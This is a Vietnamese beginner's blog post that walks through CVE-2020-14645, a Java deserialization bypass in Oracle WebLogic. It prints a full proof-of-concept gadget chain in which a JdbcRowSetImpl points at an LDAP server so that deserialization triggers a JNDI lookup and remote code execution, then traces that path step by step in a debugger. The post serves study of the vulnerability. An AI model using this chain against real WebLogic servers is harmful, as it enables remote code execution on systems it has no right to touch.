This page looks best with JavaScript enabled

Khi newbie học Java deserialization attack: CVE-2020-14645

 ·  ☕ 9 min read  ·  🐉 Edisc

I. Lời mở đầu

Tiếp tục với series tự học Java Deserializee của newbie, trong bài này tôi trình bày về CVE-2020-14645 của weblogic.

Giới thiệu sơ về đối tượng phân tích, CVE-2020-14645 là bypass của bản vá lỗi CVE-2020-2883. Trong bản patch lỗi CVE-2020-2883 sink MvelExtractorReflectionExtractor bị blacklisted, do đó cần tìm một extract class khác có malicious operations trong method.

Vì các patch lỗi CVE-2020-2883 là đưa hàm sink bị lỗi vào blacklist, nên chúng ta chỉ cần tìm ra 1 sink khác và sử dụng chain trước của CVE-2020-2883 để khai thác.

Từ đây, ta rút ra một nhận xét:

Cách mà weblogic fix các CVE là đưa các hàm sink vào blacklist.

Vậy, để tìm ra 1 CVE mới chỉ “đơn giản” là tìm cách bypass các hàm đã có hoặc tìm ra chain mới. Nhưng câu chuyện đó vẫn còn xa với tôi 🤭🤭🤭🤭🤭🤭

Quay lại với CVE này, ta sẽ xuất phát từ CVE-2020-14645. Cùng nhau phân tích, mổ xẻ để làm suy luận ra cách mà tác giả tìm thấy và hiểu tường tận lỗ hổng này. (Tất nhiên vì CVE này là bản bypass, nên chúng ta cần phải “tìm về cội nguồn” để hiểu rõ tường tận).

II. CVE-2020-14645

2.1 Chuẩn bị môi trường


Yeah, ban đầu, tạm chấp nhận chúng ta có mã khai thác POC. Bây giờ cùng phân tích mổ xẻ nó nào. Với Weblogic, chúng ta cần phải hiểu thêm về giao thức T3, RMI,… là những giao thức hỗ trợ về serialize và deserialize.

  • Về bản chất thì payload serialize sẽ truyền lên webserver, thông qua giao thức trên để deserialize ra. Vì lí do kiến thức chưa đủ kiến thức về các protocol trên nên đoạn code mà tôi phân tích chỉ dùng readObject() để deserialize.

Môi trường để tiến hành debug như sau:

  • jdk “1.8.0_121”
  • WebLogic Server Version: 12.2.1.4.0
  • Mã khai thác phân tích:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    
    package CVE_2020_14645;
    
    import  com.sun.rowset.JdbcRowSetImpl ;
    import  com.tangosol.util.ValueExtractor ;
    import  com.tangosol.util.comparator.ExtractorComparator ;
    import  com.tangosol.util.extractor.ChainedExtractor ;
    import  com.tangosol.util.extractor.UniversalExtractor ;
    
    import  java.io.FileInputStream ;
    import  java.io.FileOutputStream ;
    import  java.io.ObjectInputStream ;
    import  java.io.ObjectOutputStream ;
    import  java.lang.reflect.Field ;
    import  java.sql.SQLException ;
    import  java.util.PriorityQueue ;
    
    public class cve_2020_14645 {
        public static void main(String[] args) throws Exception {
            // CVE_2020_14645
            UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
            final ExtractorComparator comparator = new ExtractorComparator(extractor);
    
            JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
            rowSet.setDataSourceName("ldap://127.0.0.1:8082/glnikw");
            final PriorityQueue < Object > queue = new PriorityQueue < Object > (2, comparator);
    
            Object[] q = new Object[] {
                    rowSet,
                    rowSet
            };
    
            Field queue1 = queue.getClass().getDeclaredField("queue");
            queue1.setAccessible(true);
            queue1.set(queue, q);
    
            Field queue2 = queue.getClass().getDeclaredField("size");
            queue2.setAccessible(true);
            queue2.set(queue, 2);
    
            //serial
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
            objectOutputStream.writeObject(queue);
            objectOutputStream.close();
    
            //unserial
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
            objectInputStream.readObject();
            objectInputStream.close();
        }
    }
    

    Lưu ý: Vì lỗ hổng tồn tại trong lib của Weblogic, nên ta cần phải import lib weblogic vào project. Trong trường hợp này, tôi export hết tất cả các lib trong weblogic ra vào import vào project.

    • Đầu tiên, chúng ta có một đối tượng UniversalExtractor được khởi tạo với các tham số là "getDatabaseMetaData()", null, và 1. Tiếp theo, chúng ta có một đối tượng ExtractorComparator được khởi tạo với đối tượng extractor.
    • Sau đó, chúng ta tạo một đối tượng JdbcRowSetImpl, đặt dataSourceName"ldap://127.0.0.1:8082/khch4r".
    • Tiếp theo, chúng ta tạo một hàng đợi ưu tiên (PriorityQueue) được gọi là queue với số lượng tối đa là 2 và một comparator để so sánh các phần tử trong hàng đợi.
    • Sau đó, chúng ta khởi tạo một mảng đối tượng q chứa hai tham chiếu đến rowSet, và thiết lập lại các trường của queue thông qua reflection để đặt mảng q vào hàng đợi và đặt lại kích thước của hàng đợi là 2. Điều này giúp tạo ra một trạng thái không hợp lệ trong queue và sẽ gây ra lỗi khi tiến hành giải tuần tự hóa các phần tử trong hàng đợi sau đó.
    • Tiếp theo, chúng ta tiến hành serialize queue bằng ObjectOutputStream và ghi dữ liệu vào file "poc.ser".
    • Cuối cùng, chúng ta tiến hành deserialize queue từ file "poc.ser" bằng ObjectInputStream và kì vọng payload sẽ được execute như hình

    Untitled

2.2 Debug


  • Bắt đầu với hàm objectInputStream.readObject();

Untitled

  • Trong blog trước, tôi có trình bày về flow của native readObject, trong đó, tôi có nhấn mạnh 2 method: ObjectInputStream##readOrdinaryObject và Method##invoke có tác dụng điều hướng luồng thực thi. Ở đây, ta sẽ thấy:

    • Tại ObjectInputStream##readOrdinaryObject: hàm readClassDesc() tại dòng 1781 sẽ trả về class của PriorityQueue, truyền vào hàm readSerialData() tại dòng 1808

    Untitled

    • Tại Method##invoke: cho thấy method private void java.util.PriorityQueue.readObject(java.io.ObjectInputStream) throws java.io.IOException,java.lang.ClassNotFoundException được gọi

    Untitled

    • Sau đó, chương trình sẽ chuyển hướng về PriorityQueue##readObject Tới đây, chúng ta sẽ thấy flow liên quan tới blog trước như sau:

      Untitled

  • Mục tiêu của phần này chúng ta sẽ nghiên cứu tiếp flow từ PriorityQueue trở đi.

Untitled

  • Tiếp tục flow, PriorityQueue##heapify được gọi. Method này đảm bảo tính chất của cấu trúc dữ liệu (min heap hoặc max heap). Điều này có nghĩa method này sẽ thực hiện phép so sánh ở đâu đó.

Untitled

  • Hãy nhìn vào vòng for: để gọi được siftDown() thì giá trị ban đầu của i (int i = (size >>> 1) -1) ≥ 0 (i = 0 thì siftDown() được gọi 1 lần). Tương đương với size ≥ 2 (vì size = 1 → i = -1). Do đó, chúng ta cần thiết lập PriorityQueue có ít nhất 2 phần tử để touch tới hàm này. Cách implement như sau:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

        final PriorityQueue < Object > queue = new PriorityQueue < Object > (2, comparator);

        Object[] q = new Object[] {
                rowSet,
                rowSet
        };

        Field queue1 = queue.getClass().getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue, q);

        Field queue2 = queue.getClass().getDeclaredField("size");
        queue2.setAccessible(true);
        queue2.set(queue, 2);
  • Tiếp tục đi vào hàm PriorityQueue##siftDown

Untitled

  • Có hai option ở đây khi comparator null và khác null. Theo như tôi nghiên cứu, thì đa số các exploit để dùng comparator khác null. Với CommonCollection2,4 thì dùng TransformingComparator còn trong CVE này thì dùng ExtractorComparator. Để set giá trị comparator thành ExtractorComparator như sau:

    1
    2
    
      UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
      final ExtractorComparator comparator = new ExtractorComparator(extractor);
    

    Khi extractor là ExtractorComparator, tại hàm siftDownUsingComparator() thì ExtractorComparator##compare được gọi

Untitled

  • Tới đây, hàm ExtractorComparator##compare được gọi

Untitled

  • Tại đây, dòng 36 là toán tử 3 ngôi. Vì o1 có kiểu là JdbcRowSetImpl nên câu lệnh (Comparable)this.m_extractor.extract(o1) được thực thi. Mặt khác, this.m_extractor có kiểu là UniversalExtractor nên UniversalExtractor.extract() được gọi.

Untitled

  • Tiếp tục flow, đi vào hàm UniversalExtractor.extractComplex tại dòng 75. Hàm extractComplex sẽ gọi method method.invoke(oTarget, aoParam); tại dòng 205 với target là JdbcRowSetImpl và method là public java.sql.DatabaseMetaData com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() throws java.sql.SQLException

Untitled

  • Tiếp tục, chương trình sẽ đi vào com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()

Untitled

  • Hàm getDatabaseMetaData() sẽ gọi phương thức this.connect()

Untitled

  • Trong hàm connect này, tại dòng 326, chương trình sẽ lấy địa chỉ server từ hàm this.getDataSourceName() và gửi request đến server để lấy dữ liệu về. Ta có thể set dataSource thành địa chỉ server của chúng ta như sau:
1
2
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://127.0.0.1:8082/glnikw");

Bởi vì dataSource này chúng ta có thể control và set thành địa chỉ server của chúng ta. Ở đây, tôi dùng bộ công cụ JNDI server để xây dựng LDAP server.

Untitled

Untitled

  • Nên sau khi thực hiện dòng lệnh 326, payload của chúng ta sẽ được thực thi trên server

Untitled

III Phân tích và mổ xẻ

  • Chúng ta vừa đi qua flow của CVE-2020-14645. Khá đơn giản đúng không 😄😄😄😄😄. Tất nhiên là không rồi! Đây là giai đoạn tôi thích nhất khi phân tích CVE, đó là đặt câu hỏi. Mục tiêu chúng ta không chỉ dừng lại ở việc hiểu flow mà phải “tìm về cội nguồn”, đoán được mindset, cách làm của tác giả và áp dụng nó để giải quyết những vấn đề tương tự. Đó mới là “học”. Việc đặt câu hỏi sẽ giúp chúng ta có hứng thú và có hướng để nghiên cứu. Vì để trả lời câu hỏi A sẽ có hàng loạt câu hỏi B,C,D được đặt ra. Bằng cách làm như thế, kiến thức chúng ta đặt được sẽ hữu ích và không quá lý thuyết.

1. Tại sao lại là UniversalExtractor

  • Nếu các bạn đã làm qua CommonCollection thì sẽ thấy chain này khá giống với CommonCollection4. Sự khác biệt ở bước chọn comparator (CommonCollection4 chọn TransformingComparator còn CVE-2020-14645 chọn UniversalExtractor) Một câu hỏi đặt ra:

Tại sao chọn UniversalExtractor? Có lý do đặc biệt gì không?

  • Đừng quên rằng CVE-2020-14645 là bản bypass của CVE-2020-2883. Trong bản patch lỗi CVE-2020-2883 sink MvelExtractorReflectionExtractor bị blacklisted, do đó cần tìm một extract class khác có malicious operations trong method. Dễ dàng suy luận ra, UniversalExtractor có nguồn gốc từ MvelExtractorReflectionExtractor.

Untitled

Nếu vậy, liệu có class nào khác với UniversalExtractor nữa không?

  • Để trả lời cho câu hỏi này, chúng ta cần phải biết được cách tìm ra UniversalExtractor , sau đó xem thử với cách làm này, liệu có thể tìm được class khác hay không? Liệu rằng đã hết class như vậy hay vẫn còn class nào đó mà các reseacher chưa tìm ra (tôi tin tưởng vào khả năng thứ 2 hơn).

2. Làm sao để tìm được UniversalExtractor?

Nếu tôi là 1 người reproduce 1 day, làm sao để tìm được class UniversalExtractor này?

Chắc hẳn, các anh em security researcher khi nghe câu này, trong đầu sẽ vang lên hai chữ: diff-patch. Trong flow phân tích ở phần II, nếu để ý, các bạn sẽ thấy tôi không đề cập đến hai phần rất quan trọng:

  1. T3 protocol - cách mà weblogic trigger như thế nào?
  2. Sau khi server gửi request đến JNDI server thì flow sau đó sẽ chạy như thế nào?

Đến thời điểm hiện tại, tôi chưa thể trả lời vì bị thiếu kiến thức nền. Tất nhiên, tôi sẽ tự fill và trả lời những câu hỏi này nếu muốn đi xa hơn (đây cũng là lí do tại sao tôi thích viết blog).

Dễ hiểu, bây giờ chúng ta cần đi nghiên cứu về cách diff-patch weblogic. Một điều khá thú vị và may mắn khi nghiên cứu ở CVE-2020-14645 đó là:

  • CVE-2020-14645 là bypass của CVE-2020-2883
  • CVE-2020-2883 là bypass của CVE-2020-2555.

Và CVE-2020-2555 là của anh Jang - một pro trong java deserialize. Trong blog của anh ấy có 1 bài đề cập về cách anh ấy tìm ra CVE-2020-2555 ở đây. Còn ngần ngại gì nữa, đọc và làm theo thôi! (còn tìm được hay không thì đó là câu chuyện khác 😂😂😂😂😂😂)

IV. Tổng kết


  • Như đã đề cập, series này chỉ giành cho beginner. Do đó, blog này flow đơn giản chỉ là bạn có 1 POC và bạn trace theo, hiểu flow và cố gắng build lại POC.
  • Trong blog tiếp theo, tôi sẽ nâng cấp flow nghiên cứu (từ debug build ngược lại POC)

V. Nguồn tham khảo


Share on

Edisc
WRITTEN BY
Edisc
Cyber Security Engineer

 
What's on this Page